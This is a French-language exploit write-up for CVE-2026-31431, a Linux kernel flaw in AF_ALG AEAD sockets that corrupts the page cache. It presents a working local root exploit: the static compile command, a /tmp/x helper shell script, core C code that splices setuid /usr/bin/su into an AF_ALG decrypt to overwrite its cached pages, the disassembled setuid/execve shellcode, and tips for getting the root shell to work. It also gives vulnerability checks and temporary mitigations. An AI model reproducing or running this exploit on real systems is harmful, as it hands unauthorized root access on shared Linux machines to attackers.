CVE-2026-31431 — Élévation de privilèges locale via AF_ALG

2026-04-29 — Je publie cet exploit un jour après l'avoir partagé sur le forum MyDigitalLife. Il ne nécessite pas Python ; il est écrit en C et compilé à la taille la plus petite possible en utilisant :

root@kitploit:~

musl-gcc -static -Os -o exploit exploit.c -s

Menace critique. Le binaire de l'exploit est compilé sans dépendances et peut être utilisé pour tester les vulnérabilités sur n'importe quel système Linux.

CVE-2026-31431 est une vulnérabilité confirmée par le NIST dans le noyau Linux qui permet à un utilisateur local non privilégié d'obtenir un shell root en quelques secondes. Compte tenu de l'exploit circulant publiquement pour CVE-2026-31431, j'ai développé une preuve de concept (PoC) binaire pour évaluer l'exposition de notre infrastructure interne. Bien que certains environnements restreignent l'utilisation de su, cette vulnérabilité est particulièrement critique pour les serveurs partagés car elle cible la gestion de la mémoire du noyau sous-jacent. Par conséquent, tout binaire SETUID — y compris sudo, passwd, mount ou newgrp — peut être exploité pour déclencher l'exploit et obtenir un shell root. Une action administrative pour corriger le noyau est requise immédiatement, car les restrictions standard de l'espace utilisateur sont insuffisantes pour atténuer cette menace. Tout système Linux exécutant un noyau non corrigé est à risque.

📚 Table des matières

• Qu'est-ce que cette vulnérabilité
• Qui est concerné
• Comment fonctionne l'exploit — étape par étape
• Flux d'attaque
• Analyse du code de l'exploit
• Charge utile ELF — détails techniques
• Comment vérifier si vous êtes vulnérable
• Mesures d'atténuation
• Notes du chercheur
• Avertissement

Qu'est-ce que cette vulnérabilité

CVE-2026-31431 est un bug dans la gestion des opérations d'E/S scatter-gather et des références au cache de pages dans le sous-système cryptographique du noyau Linux — plus précisément dans l'implémentation des sockets AF_ALG pour les algorithmes AEAD (crypto/af_alg.c, crypto/aead.c).

Ce qui se passe réellement

Le noyau Linux expose une interface cryptographique à l'espace utilisateur via les sockets AF_ALG. La vulnérabilité réside dans le fait que lors d'une opération de déchiffrement AEAD, le noyau mappe incorrectement la sortie du déchiffrement directement sur les pages du cache de pages du fichier source — au lieu d'un tampon temporaire. Un attaquant peut ainsi écraser le contenu en mémoire de n'importe quel fichier sans le modifier sur disque, sans privilèges root, et sans laisser de trace visible dans le système de fichiers.

Qui est concerné

Comment fonctionne l'exploit — étape par étape

L'exploit se compose de deux éléments : un script auxiliaire dans /tmp/x et une boucle de corruption basée sur AF_ALG. Voici un parcours exact basé sur l'analyse du code source :

1. Configuration du script auxiliaire

L'exploit crée /tmp/x avec le contenu suivant :

#!/bin/sh
export TERM=xterm-256color
exec /bin/sh

Il définit les permissions sur 0755. La raison : /usr/bin/su supprime les variables d'environnement (y compris TERM) au lancement. Le script auxiliaire les restaure avant de lancer le vrai shell, garantissant un terminal fonctionnel.

2. Construction de la charge utile ELF

Un binaire ELF x86_64 minimal de 158 octets contenant du shellcode brut est construit en mémoire. La chaîne /bin/sh à l'offset 150 est ensuite remplacée par /tmp/x\0 via memcmp/memcpy. Voir Charge utile ELF pour plus de détails.

3. Ouverture de /usr/bin/su en lecture seule

int su_fd = open("/usr/bin/su", O_RDONLY);

Le fichier est ouvert en lecture seule — l'exploit ne nécessite aucune permission d'écriture.

4. Boucle de corruption — 39 itérations de 4 octets chacune

La charge utile (158 octets) est traitée par blocs de 4 octets (39 blocs complets). Chaque bloc passe par corrupt_binary_chunk(), qui effectue :

• Crée un socket AF_ALG (SOCK_SEQPACKET)
• Se lie à authencesn(hmac(sha256),cbc(aes)) — un algorithme AEAD composé
• Définit une clé de 72 octets et une taille de tag d'authentification de 4 octets
• Accepte un socket d'opération (op_sock)
• Envoie sendmsg avec un tampon de 8 octets (4× 'A' + 4 octets de charge utile) et trois CMSG : ALG_OP_DECRYPT, IV (20 octets), assoclen=8
• Effectue splice : su_fd → pipe → op_sock (zéro-copie à travers le noyau)
• Finalise via recv() — c'est ici que le noyau écrase par erreur le cache de pages

5. Exécution

execve("/usr/bin/su", args, NULL);

Le noyau charge /usr/bin/su via le cache de pages — qui est maintenant empoisonné. Le bit SUID (chmod u+s) est intact, donc le noyau exécute le fichier en tant que root. Le shellcode exécute setuid(0) → execve("/tmp/x") → shell root interactif.

Flux d'attaque

flowchart TD
    A[Utilisateur local non privilégié] --> B["Crée le script auxiliaire /tmp/x\nchmod 0755"]
    B --> C["Construit la charge utile ELF de 158 octets\nPatch : /bin/sh → /tmp/x"]
    C --> D["open /usr/bin/su O_RDONLY\nAucune permission d'écriture nécessaire"]
    D --> E[Boucle : 39 blocs de 4 octets]
    E --> F[socket AF_ALG SOCK_SEQPACKET]
    F --> G["bind : authencesn hmac sha256 cbc aes"]
    G --> H["setsockopt : clé 72B + authsize=4"]
    H --> I[accept → op_sock]
    I --> J["sendmsg : 8B de données + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
    J --> K["splice : su_fd → pipe → op_sock\nzéro-copie à travers le noyau"]
    K --> L[recv → finalise l'opération AEAD]
    L --> M["BUG DU NOYAU : la sortie du déchiffrement\nécrase le cache de pages de su_fd"]
    M --> N{Bloc suivant ?}
    N -->|Oui| E
    N -->|Non| O["execve /usr/bin/su"]
    O --> P["Le noyau charge /usr/bin/su\ndepuis le cache de pages empoisonné"]
    P --> Q["Bit SUID intact\nle noyau exécute en tant que root"]
    Q --> R["Shellcode : setuid 0 syscall 105"]
    R --> S["execve /tmp/x syscall 59"]
    S --> T[Shell root interactif]

Analyse du code de l'exploit

Sections clés de exploit.c examinées ci-dessous :

Fonction corrupt_binary_chunk()

Le cœur de l'exploit. Chaque appel coordonne une transaction AF_ALG complète :

static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
    // Crée un socket AF_ALG et se lie à AEAD authencesn(hmac(sha256),cbc(aes))
    alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));

    // Clé de 72 octets + taille du tag d'authentification = 4 octets
    setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key));       // 72B
    setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);

    op_sock = accept(alg_sock, NULL, NULL);

    // Tampon : 4x 'A' comme données associées + 4 octets de charge utile
    unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};

    // 3 CMSG : opération DECRYPT / IV (20B, premier octet 0x10) / assoclen=8
    // sendmsg avec MSG_MORE — les données ne sont pas encore complètes
    sendmsg(op_sock, &msg, MSG_MORE);

    // splice zéro-copie : su_fd → pipe → op_sock (offset+4 octets)
    splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
    splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);

    // recv finalise l'opération — le noyau écrit incorrectement dans le cache de pages de su_fd ici
    recv(op_sock, dummy, 8 + offset, 0);
}

Boucle principale

for (size_t i = 0; i < len; i += 4) {
    if (i + 4 > len) break;           // ignore les 2 derniers octets (158 % 4 = 2)
    corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 blocs complets × 4 octets = 156 octets appliqués

Charge utile ELF — détails techniques

La charge utile est un binaire ELF x86_64 autonome de 158 octets avec du shellcode brut — pas de linker dynamique, pas de bibliothèques externes.

Shellcode — désassemblé

; offset 120 — point d'entrée 0x400078
xor  eax, eax          ; eax = 0
xor  edi, edi          ; edi = 0  (uid = 0)
mov  al, 105           ; syscall setuid(0)
syscall

lea  rdi, [rip+0xf]    ; rdi → "/tmp/x\0" (offset 150)
xor  esi, esi          ; argv = NULL
push 59
pop  rax               ; syscall execve
cdq                    ; rdx = 0 (envp = NULL)
syscall

xor  edi, edi
push 60
pop  rax               ; syscall exit(0)
syscall

; offset 150
db "/tmp/x", 0, 0      ; (remplacé depuis "/bin/sh\0")

Comment vérifier si vous êtes vulnérable

Étape 1 — vérifier la version du noyau

uname -r

Comparez la sortie avec la liste des versions vulnérables publiée par le NIST : nvd.nist.gov/vuln/detail/CVE-2026-31431

Étape 2 — vérifier si AF_ALG est disponible

python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG disponible — le système peut être vulnérable')"

Si la commande renvoie [Errno 97] Address family not supported — le module est désactivé et le risque est significativement réduit.

Étape 3 — vérifier le SUID sur /usr/bin/su

ls -la /usr/bin/su

Si le bit s est présent (par ex. -rwsr-xr-x) — /usr/bin/su a le SUID défini et constitue le vecteur d'attaque.

Mesures d'atténuation

Solution temporaire (jusqu'à ce que le correctif du noyau soit disponible)

# Décharger le module AF_ALG si non nécessaire
sudo modprobe -r af_alg 2>/dev/null || echo "Le module est intégré au noyau — impossible de le décharger"

# Alternative — supprimer temporairement le SUID
sudo chmod u-s /usr/bin/su

Notes du chercheur

Cette section est destinée aux chercheurs en sécurité analysant la vulnérabilité dans un environnement isolé.

socket() ou bind() échoue

Symptôme : perror("socket") ou perror("bind") déclenche la sortie.

Causes :

1. Le noyau ne prend pas en charge AF_ALG ou l'algorithme authencesn — vérifier : cat /proc/crypto | grep authencesn
2. Charger les modules requis : sudo modprobe hmac sha256 cbc aead authencesn
3. AppArmor/SELinux bloque la création du socket AF_ALG — vérifier les journaux : dmesg | tail -20

splice() renvoie EPERM / EINVAL

Symptôme : L'opération splice est rejetée par le noyau.

Causes :

1. Vérifier que su_fd pointe vers un fichier régulier, pas un lien symbolique ou un périphérique
2. Vérifier dmesg pour les entrées du journal d'audit bloquant la zéro-copie dans les sockets cryptographiques
3. Vérifier qu'aucun LSM n'intercepte l'opération

execve lance un shell utilisateur normal

Symptôme : Pas d'invite root ; id montre l'UID d'origine.

Causes :

1. /usr/bin/su n'a pas le bit SUID — ls -la /usr/bin/su, le bit s doit être visible
2. Le cache de pages peut avoir été vidé avant execve — ajouter sync ou réduire le délai de la boucle
3. Le système a un correctif pour CVE-2026-31431 — vérifier la version du noyau

/tmp/x introuvable ou TERM manquant

Symptôme : Le shell se lance mais le rendu du terminal est cassé.

Causes :

1. S'assurer que /tmp est accessible en écriture et non monté avec noexec
2. /tmp/x doit avoir les permissions 0755 — vérifier : ls -la /tmp/x
3. Si execve("/tmp/x") échoue — le shellcode peut être re-patché pour utiliser /bin/sh directement

Avertissement

AVERTISSEMENT : Ce document est publié uniquement à des fins informatives, éducatives et défensives. Il décrit une menace connue publiquement, identifiée par le NIST et signalée par la communauté de la sécurité. Exécuter l'exploit sur des systèmes que vous ne possédez pas ou sans autorisation explicite de test peut violer les lois applicables et entraîner une responsabilité pénale. Testez uniquement dans des environnements de laboratoire isolés.

Toutes les marques déposées appartiennent à leurs propriétaires respectifs. Linux et les marques associées sont des marques déposées de la Linux Foundation.

Dernière mise à jour : 2026-04-29